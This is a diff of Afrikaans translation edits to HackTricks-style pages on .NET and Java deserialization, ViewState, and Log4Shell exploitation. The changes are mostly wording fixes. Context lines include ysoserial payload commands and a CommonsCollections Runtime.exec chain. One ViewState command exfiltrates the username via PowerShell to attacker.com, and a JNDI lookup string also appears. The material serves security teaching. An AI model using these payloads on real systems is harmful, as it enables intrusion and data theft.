 Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit toon die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan** dit is die lyn waar die **metode stel aangeroep word**.
 
-As jy wil kyk dat net deur die _**MethodName**_\*\* in te stel\*\*, dit uitgevoer sal word, kan jy hierdie kode uitvoer:
+As jy wil kyk dat net deur die _**MethodName**_\*\* in te stel, dit uitgevoer sal word\*\*, kan jy hierdie kode uitvoer:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -58,8 +58,8 @@ Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\P
 
 Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (byvoorbeeld `Process`). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Hierdie klas laat jou toe om die **objektipe van die objekte wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
-Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om **\_ObjectDataProvider**_\*\* binne 'n \*\*_**ExpandedWrapper** \_ instansie te **wrapping** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
+Hierdie klas laat jou toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
+Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om **\_ObjectDataProvider**_\*\* binne 'n \*\*_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
 
 Jy kan hierdie wrapper met die volgende kode nagaan:
 ```java
@@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
 ```
 ### Misbruik van Json.Net
 
-Met behulp van [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die ontploffing geskep:
+Met [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die ontploffing geskep:
 ```java
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {

src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md

@@ -4,10 +4,10 @@ In hierdie POST gaan 'n voorbeeld verduidelik word wat `java.io.Serializable` ge
 
 # Serializable
 
-Die Java `Serializable`-koppelvlak (`java.io.Serializable` is 'n merk-koppelvlak wat jou klasse moet implementeer as hulle **ge_serialiseer** en **ge_deserializeer** moet word. Java objekserialisering (skryf) word gedoen met die [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) en deserialisering (lees) word gedoen met die [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
+Die Java `Serializable`-koppelvlak (`java.io.Serializable` is 'n merk-koppelvlak wat jou klasse moet implementeer as hulle **geserialiseer** en **gedeserializeer** moet word. Java objekserialisering (skryf) word gedoen met die [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) en deserialisering (lees) word gedoen met die [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
 
-Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **serialiseerbaar** is. Hierdie klas **oorskry die readObject** funksie, so wanneer **enige objek** van hierdie **klas** **ge_deserializeer** word, gaan hierdie **funksie** **uitgevoer** word.\
-In die voorbeeld roep die **readObject-funksie** van die klas Persoon die funksie `eat()` van sy troeteldier aan en die funksie `eat()` van 'n Hond (om een of ander rede) roep 'n **calc.exe** aan. **Ons gaan kyk hoe om 'n Persoon objek te serialiseer en te deserializeer om hierdie sakrekenaar uit te voer:**
+Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **geserialiseer** kan word. Hierdie klas **oorskryf die readObject** funksie, so wanneer **enige objek** van hierdie **klas** **gedeserializeer** word, gaan hierdie **funksie** **uitgevoer** word.\
+In die voorbeeld roep die **readObject-funksie** van die klas Persoon die funksie `eat()` van sy troeteldier aan en die funksie `eat()` van 'n Hond (om een of ander rede) roep 'n **calc.exe** aan. **Ons gaan kyk hoe om 'n Persoon objek te serialiseer en te deserialiseer om hierdie sakrekenaar uit te voer:**
 
 **Die volgende voorbeeld is van [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
 ```java

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

@@ -4,7 +4,7 @@
 
 ## Wat is ViewState
 
-**ViewState** dien as die standaardmeganisme in ASP.NET om bladsy- en kontroledata oor webblaaie te handhaaf. Tydens die weergawe van 'n bladsy se HTML, word die huidige toestand van die bladsy en waardes wat tydens 'n postback bewaar moet word, in base64-gecodeerde strings geserialiseer. Hierdie strings word dan in versteekte ViewState-velde geplaas.
+**ViewState** dien as die standaardmeganisme in ASP.NET om bladsy- en kontroledata oor webblaaie te handhaaf. Tydens die weergawe van 'n bladsy se HTML, word die huidige toestand van die bladsy en waardes wat tydens 'n postback bewaar moet word, in base64-gecodeerde strings geserealiseer. Hierdie strings word dan in versteekte ViewState-velde geplaas.
 
 ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul kombinasies:
 
@@ -17,12 +17,12 @@ ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul
 
 ## Toetsgevalle
 
-Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET op grond van die .NET-raamwerkweergawe uiteensit. Hier is 'n opsomming van die inhoud:
+Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET op grond van die .NET-raamwerkweergawe detail. Hier is 'n opsomming van die inhoud:
 
 1. Vir **enige weergawe van .NET**, wanneer beide MAC en Enkripsie gedeaktiveer is, is 'n MachineKey nie nodig nie, en dus is daar geen toepaslike metode om dit te identifiseer nie.
-2. Vir **weergawes onder 4.5**, as MAC geaktiveer is maar Enkripsie nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer, word "Blacklist3r" genoem.
+2. Vir **weergawes onder 4.5**, as MAC geaktiveer is maar Enkripsie nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer, word verwys na as "Blacklist3r."
 3. Vir **weergawes onder 4.5**, ongeag of MAC geaktiveer of gedeaktiveer is, as Enkripsie geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Toekomstige Ontwikkeling."
-4. Vir **weergawes 4.5 en hoër**, vereis alle kombinasies van MAC en Enkripsie (of albei waar is, of een waar is en die ander vals) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."
+4. Vir **weergawes 4.5 en hoër**, vereis alle kombinasies van MAC en Enkripsie (of albei waar is, of een waar is en die ander vals is) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."
 
 ### Toetsgeval: 1 – EnableViewStateMac=false en viewStateEncryptionMode=false
 
@@ -32,7 +32,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
 ```
 **Identifisering van ViewState Attribuut**
 
-Jy kan probeer om te identifiseer of ViewState MAC beskermd is deur 'n versoek te vang wat hierdie parameter bevat met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit benut met [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
+Jy kan probeer om te identifiseer of ViewState MAC beskerm is deur 'n versoek te vang wat hierdie parameter bevat met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit benut met [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
 ```
 ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
 ```
@@ -40,7 +40,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
 
 Ontwikkelaars kan **ViewState** verwyder sodat dit nie deel van 'n HTTP-versoek word nie (die gebruiker sal nie hierdie koekie ontvang nie).\
 Mens kan aanneem dat as **ViewState** **nie teenwoordig** is nie, hul implementering **veilig** is teen enige potensiële kwesbaarhede wat met ViewState deserialisering ontstaan.\
-Echter, dit is nie die geval nie. As ons **ViewState parameter** aan die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om **kode-uitvoering** te bereik soos in **Geval 1** gewys.
+Echter, dit is nie die geval nie. As ons **ViewState parameter** by die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om **kode-uitvoering** te bereik soos in **Geval 1** gewys.
 
 ### Toetsgeval: 2 – .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false
 
@@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
 ```
 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is 'n ander hulpmiddel wat bekende machineKeys kan identifiseer. Dit is in Python geskryf, so anders as Blacklist3r, is daar geen Windows afhanklikheid nie. Vir .NET viewstates is daar 'n "python blacklist3r" nut, wat die vinnigste manier is om dit te gebruik.
 
-Dit kan of met die viewstate en generator direk verskaf word:
+Dit kan of voorsien word van die viewstate en generator direk:
 ```
 pip install badsecrets
 git clone https://github.com/blacklanternsecurity/badsecrets
@@ -110,15 +110,15 @@ In hierdie geval is dit nie bekend of die parameter met MAC beskerm word nie. Da
 
 **In hierdie geval is die** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module in ontwikkeling...**
 
-**Voor .NET 4.5** kan ASP.NET **'n** **ongeënkripteerde** \_`__VIEWSTATE`\_parameter van die gebruikers **aanvaar** **selfs** as **`ViewStateEncryptionMode`** op _**Altyd**_ gestel is. ASP.NET **kontroleer slegs** die **teenwoordigheid** van die **`__VIEWSTATEENCRYPTED`** parameter in die versoek. **As 'n mens hierdie parameter verwyder en die ongeënkripteerde payload stuur, sal dit steeds verwerk word.**
+**Voor .NET 4.5** kan ASP.NET **'n** **ongeënkripteerde** \_`__VIEWSTATE`\_parameter van die gebruikers **aanvaar** **selfs** as **`ViewStateEncryptionMode`** op _**Altyd**_ gestel is. ASP.NET **kontroleer slegs** die **teenwoordigheid** van die **`__VIEWSTATEENCRYPTED`** parameter in die versoek. **As 'n mens hierdie parameter verwyder, en die ongeënkripteerde payload stuur, sal dit steeds verwerk word.**
 
 Daarom, as die aanvallers 'n manier vind om die Masjien Sleutel via 'n ander kwesbaarheid soos lêer traversering te verkry, kan die [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) opdrag wat in die **Geval 2** gebruik is, gebruik word om RCE uit te voer met behulp van die ViewState deserialisering kwesbaarheid.
 
-- Verwyder die `__VIEWSTATEENCRYPTED` parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC valideringsfout teruggee en die benutting sal misluk.
+- Verwyder die `__VIEWSTATEENCRYPTED` parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC validasie fout teruggee en die uitbuiting sal misluk.
 
 ### Toetsgeval: 4 – .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe dat beide eienskappe op false gestel is
 
-Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter binne die web.config-lêer soos hieronder aan te dui.
+Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter binne die web.config lêer soos hieronder aan te dui.
 ```xml
 <httpRuntime targetFramework="4.5" />
 ```
@@ -126,7 +126,7 @@ Alternatiewelik kan dit gedoen word deur die onderstaande opsie binne die `machi
 ```bash
 compatibilityMode="Framework45"
 ```
-Soos in die vorige is die **waarde geënkripteer.** Dan, om 'n **geldige payload te stuur, het die aanvaller die sleutel nodig**.
+Soos in die vorige is die **waarde geënkripteer.** Dan, om 'n **geldige las te stuur, het die aanvaller die sleutel nodig.**
 
 Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die sleutel te vind wat gebruik word:
 ```
@@ -153,7 +153,7 @@ As jy die waarde van `__VIEWSTATEGENERATOR` het, kan jy probeer om die `--genera
 
 ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
 
-'n Succesvolle uitbuiting van die ViewState deserialisering kwesbaarheid sal lei tot 'n out-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie tipe uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron met die titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die [PoC van Succesvolle Uitbuiting](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) hersien.
+'n Succesvolle uitbuiting van die ViewState deserialisering kwesbaarheid sal lei tot 'n uit-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie tipe uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron met die titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) hersien.
 
 ### Toetsgeval 6 – ViewStateUserKeys word gebruik
 
@@ -162,9 +162,9 @@ Jy moet een meer parameter gebruik om die payload korrek te skep:
 ```bash
 --viewstateuserkey="randomstringdefinedintheserver"
 ```
-### Resultaat van 'n Succesvolle Exploit <a href="#poc" id="poc"></a>
+### Resultaat van 'n Suksesvolle Exploit <a href="#poc" id="poc"></a>
 
-Vir al die toets gevalle, as die ViewState YSoSerial.Net payload **suksesvol** werk, dan reageer die bediener met “**500 Interne bediener fout**” met 'n responsinhoud van “**Die staat-inligting is ongeldig vir hierdie bladsy en mag beskadig wees**” en ons kry die OOB versoek.
+Vir al die toets gevalle, as die ViewState YSoSerial.Net payload werk **suksesvol** dan reageer die bediener met “**500 Interne bediener fout**” met die responsinhoud “**Die staat-inligting is ongeldig vir hierdie bladsy en mag beskadig wees**” en ons kry die OOB versoek.
 
 Kontroleer vir [verdere inligting hier](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
 

src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

@@ -28,7 +28,7 @@ int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 ```
-Soos wat jy kan waarneem, **wanneer deserialisering** van 'n **`HashMap`** gaan die funksie `hash` **uitgevoer word met elke objek** en **tydens** die **`hash`** uitvoering **gaan dit `.hashCode()` van die objek uitvoer**. Daarom, as jy 'n **`HashMap`** **wat** 'n **URL** objek bevat, sal die **URL objek** **`.hashCode()` uitvoer**.
+Soos wat jy kan waarneem, **wanneer deserialisering** van 'n **`HashMap`** gaan die funksie `hash` **uitgevoer word met elke objek** en **tydens** die **`hash`** uitvoering **gaan dit `.hashCode()` van die objek uitvoer**. Daarom, as jy 'n **`HashMap`** **wat** 'n **URL** objek bevat, **sal die URL objek** `.hashCode()` **uitvoer**.
 
 Nou, kom ons kyk na die kode van `URLObject.hashCode()` :
 ```java
@@ -53,7 +53,7 @@ h += protocol.hashCode();
 InetAddress addr = getHostAddress(u);
 [   ...   ]
 ```
-U kan sien dat 'n `getHostAddress` na die domein uitgevoer word, **wat 'n DNS-vraag** begin.
+U kan sien dat 'n `getHostAddress` na die domein uitgevoer word, **wat 'n DNS-vraag** **begin**.
 
 Daarom kan hierdie klas **misbruik** word om 'n **DNS-vraag** te **begin** om te **demonstrate** dat **deserialisering** moontlik is, of selfs om **inligting te exfiltreer** (u kan die uitvoer van 'n opdraguitvoering as subdomein byvoeg).
 
@@ -152,7 +152,7 @@ Die **uitbreiding** het **passiewe** en aktiewe **vermoëns**.
 
 ### Passief
 
-Standaard **kontroleer dit passief** al die versoeke en antwoorde wat gestuur word **soekend** na **Java serialiseerde magiese bytes** en sal 'n kwesbaarheid waarskuwing aanbied as enige gevind word:
+Standaard **kontroleer dit passief** al die versoeke en antwoorde wat gestuur word **soekend** na **Java geserialiseerde magiese bytes** en sal 'n kwesbaarheid waarskuwing aanbied as enige gevind word:
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
 
@@ -170,7 +170,7 @@ Selfs al word dit "Handmatige toetsing" genoem, is dit redelik **geoutomatiseer*
 **Ontploffing**
 
 Sodra jy 'n kwulnerabele biblioteek geïdentifiseer het, kan jy die versoek na die _Ontploffing Tab_ stuur.\
-In hierdie tab moet jy die **inspuitpunt** weer **kies**, en **skryf** die **kwulnerabele biblioteek** waarvoor jy 'n payload wil skep, en die **opdrag**. Druk dan net die toepaslike **Aanval** knoppie.
+In hierdie tab moet jy die **inspuitpunt** weer **kies**, en die **kwulnerabele biblioteek** waarvoor jy 'n payload wil skep, en die **opdrag**. Druk dan net die toepaslike **Aanval** knoppie.
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
 

src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md

@@ -1,6 +1,6 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-Kyk na die plasings:
+Kontroleer die plasings:
 
 - [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
 - [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)

src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

@@ -1,8 +1,8 @@
-# CommonsCollection1 Payload - Java Transformers na Rutime exec() en Thread Sleep
+# CommonsCollection1 Payload - Java Transformers to Rutime exec() en Thread Sleep
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Java Transformers na Rutime exec()
+## Java Transformers to Rutime exec()
 
 In verskeie plekke kan jy 'n java deserialisering payload vind wat transformers van Apache common collections gebruik soos die volgende:
 ```java
@@ -42,7 +42,7 @@ lazyMap.get("anything");
 }
 }
 ```
-As jy niks weet van java deserialisering payloads nie, kan dit moeilik wees om uit te vind hoekom hierdie kode 'n kalkuleerder sal uitvoer.
+As jy niks weet van java deserialisering payloads nie, kan dit moeilik wees om uit te figure hoekom hierdie kode 'n kalkuleerder sal uitvoer.
 
 Eerstens moet jy weet dat 'n **Transformer in Java** iets is wat **'n klas ontvang** en dit **na 'n ander een transformeer**.\
 Dit is ook interessant om te weet dat die **payload** wat hier **uitgevoer** word **gelykstaande** is aan:
@@ -124,11 +124,11 @@ object = iTransformers[i].transform(object);
 return object;
 }
 ```
-So, onthou dat ons binne **factory** **`chainedTransformer`** gestoor het en binne die **`transform`** funksie **deur al daardie geketende transformers gaan** en een na die ander uitvoer. Die snaaks ding is dat **elke transformer `object`** **as invoer** gebruik en **object is die uitvoer van die laaste transformer wat uitgevoer is**. Daarom, **word al die transforms geketend uitgevoer met die kwaadwillige payload**.
+So, onthou dat ons binne **factory** **`chainedTransformer`** gestoor het en binne die **`transform`** funksie **deur al daardie geketende transformers gaan** en een na die ander uitvoer. Die snaaks ding is dat **elke transformer `object`** **as invoer** gebruik en **object is die uitvoer van die laaste uitgevoerde transformer**. Daarom, **word al die transforms geketend uitgevoer met die kwaadwillige payload**.
 
 ### Samevatting
 
-Aan die einde, as gevolg van hoe lazyMap die geketende transformers binne die get-metode bestuur, is dit soosof ons die volgende kode uitvoer:
+Aan die einde, as gevolg van hoe lazyMap die geketende transformers binne die get metode bestuur, is dit soosof ons die volgende kode uitvoer:
 ```java
 Object value = "someting";
 
@@ -149,7 +149,7 @@ new Class[]{String.class},
 command
 ).transform(value); //(4)
 ```
-_Noot hoe `value` die invoer van elke transformasie en die uitvoer van die vorige transformasie is, wat die uitvoering van 'n een-liner moontlik maak:_
+_Noot hoe `value` die invoer van elke transformasie is en die uitvoer van die vorige transformasie, wat die uitvoering van 'n een-liner moontlik maak:_
 ```java
 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
 ```

src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

@@ -8,10 +8,10 @@ JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Jav
 
 ### JNDI Naamverwysing
 
-Java-voorwerpe kan gestoor en opgehaal word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom:
+Java-voorwerpe kan gestoor en opgeëis word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom:
 
 - **Verwysingsadresse**: Spesifiseer 'n voorwerp se ligging (bv. _rmi://server/ref_), wat direkte opeising vanaf die gespesifiseerde adres moontlik maak.
-- **Afstandfabriek**: Verwys na 'n afstandfabriekklas. Wanneer dit toeganklik is, word die klas afgelaai en geïnstantieer vanaf die afstandplek.
+- **Afstandfabriek**: Verwys na 'n afstandfabriekklas. Wanneer dit benader word, word die klas afgelaai en van die afstandplek geïnstantieer.
 
 Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van arbitrêre kode. As 'n teenmaatreël:
 
@@ -33,7 +33,7 @@ Ten spyte van beskermings, bly kwesbaarhede bestaan, hoofsaaklik as gevolg van d
 
 ![](<../../images/image (1022).png>)
 
-Selfs al het jy 'n **`PROVIDER_URL`** gestel, kan jy 'n ander een in 'n opsoek aandui en dit sal toeganklik wees: `ctx.lookup("<attacker-controlled-url>")` en dit is wat 'n aanvaller sal misbruik om arbitrêre voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
+Selfs al het jy 'n **`PROVIDER_URL`** gestel, kan jy 'n ander een in 'n opsoek aandui en dit sal benader word: `ctx.lookup("<attacker-controlled-url>")` en dit is wat 'n aanvaller sal misbruik om arbitrêre voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
 
 ### CORBA Oorsig
 
@@ -47,7 +47,7 @@ Opmerklik is dat CORBA nie van nature kwesbaar is nie. Om sekuriteit te verseker
 - Installering van 'n **Sekuriteitsbestuurder**.
 - Konfigurasie van die Sekuriteitsbestuurder om verbindings na moontlik kwaadwillige kodebases toe te laat. Dit kan bereik word deur:
 - Socket toestemming, bv. `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
-- Lese toestemming vir lêers, hetsy universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) of vir spesifieke gidsen waar kwaadwillige lêers geplaas kan word.
+- Lêer lees toestemming, hetsy universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) of vir spesifieke gidse waar kwaadwillige lêers geplaas kan word.
 
 Sommige verskafferbeleide mag egter toegeeflik wees en hierdie verbindings standaard toelaat.
 
@@ -57,16 +57,16 @@ Vir RMI (Remote Method Invocation) is die situasie ietwat anders. Soos met CORBA
 
 ### LDAP
 
-Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.\
-'n **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en **sy eienskappe te herwin**.\
+Eerstens, ons moet onderskei tussen 'n Soektog en 'n Opsoek.\
+'n **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en **sy eienskappe te verkry**.\
 'n **opsoek** is bedoel vir **naamdienste** aangesien ons **enigiets wat aan 'n naam gebind is, wil kry**.
 
-As die LDAP-soektog met **SearchControls.setReturningObjFlag() met `true` aangeroep is, sal die teruggegee voorwerp **hergebou word**.
+As die LDAP-soektog met **SearchControls.setReturningObjFlag() met `true` geaktiveer is, sal die teruggegee voorwerp herbou word**.
 
 Daarom is daar verskeie maniere om hierdie opsies aan te val.\
-'n **aanvaller kan LDAP-rekords vergiftig deur payloads** daarop in te voer wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om **tientalle masjiene te kompromitteer** as jy toegang tot die LDAP-bediener het). 'n Ander manier om dit te benut, sou wees om 'n **MitM-aanval in 'n LDAP-soektog** uit te voer, byvoorbeeld.
+'n **aanvaller kan LDAP-rekords vergiftig deur payloads daarop in te voer** wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om **tientalle masjiene te kompromitteer** as jy toegang tot die LDAP-bediener het). 'n Ander manier om dit te benut, sou wees om 'n **MitM-aanval in 'n LDAP-soektog** uit te voer.
 
-As jy **'n app kan laat 'n JNDI LDAP URL oplos**, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell).
+As jy kan **maak dat 'n app 'n JNDI LDAP URL oplos**, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell).
 
 #### Deserialisering uitbuiting
 
@@ -85,21 +85,21 @@ Dit is makliker om hierdie LDAP aan te val met **JavaFactory verwysings**:
 
 Die kwesbaarheid word in Log4j bekendgestel omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in die vorm van `${prefix:name}` ondersteun waar `prefix` een van 'n aantal verskillende [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige lopende weergawe van Java.
 
-[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup-funksie bekendgestel. Hierdie funksie stel die herwinning van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met `java:comp/env/` voorafgegaan. As die sleutel self egter 'n **":"** bevat, word hierdie standaardvoorafgaan nie toegepas nie.
+[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup-funksie bekendgestel. Hierdie funksie stel die verkryging van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met `java:comp/env/` voorafgegaan. As die sleutel self egter 'n **":"** bevat, word hierdie standaard voorvoegsel nie toegepas nie.
 
-Met 'n **:** teenwoordig in die sleutel, soos in `${jndi:ldap://example.com/a}` is daar **geen voorafgaan** nie en die **LDAP-bediener word vir die voorwerp gevra**. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word.
+Met 'n **:** in die sleutel, soos in `${jndi:ldap://example.com/a}` is daar **geen voorvoegsel** nie en die **LDAP-bediener word gevra vir die voorwerp**. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word.
 
-Daarom is die enigste ding wat nodig is om RCE te verkry 'n **kwesbare weergawe van Log4j wat inligting wat deur die gebruiker beheer word, verwerk**. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit), was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP-koptekste ontvang het soos die User-Agent. Dit is egter belangrik om te noem dat log4j **nie net gebruik word om HTTP-inligting te log nie, maar enige invoer** en data wat die ontwikkelaar aangedui het.
+Daarom is die enigste ding wat nodig is om RCE te verkry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit), was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP-koptekste ontvang het soos die User-Agent. Dit is egter **nie net gebruik om HTTP-inligting te log nie, maar enige invoer** en data wat die ontwikkelaar aangedui het.
 
-## Oorsig van Log4Shell-verwante CVE's
+## Oorsig van Log4Shell-verwante CVEs
 
 ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krities]**
 
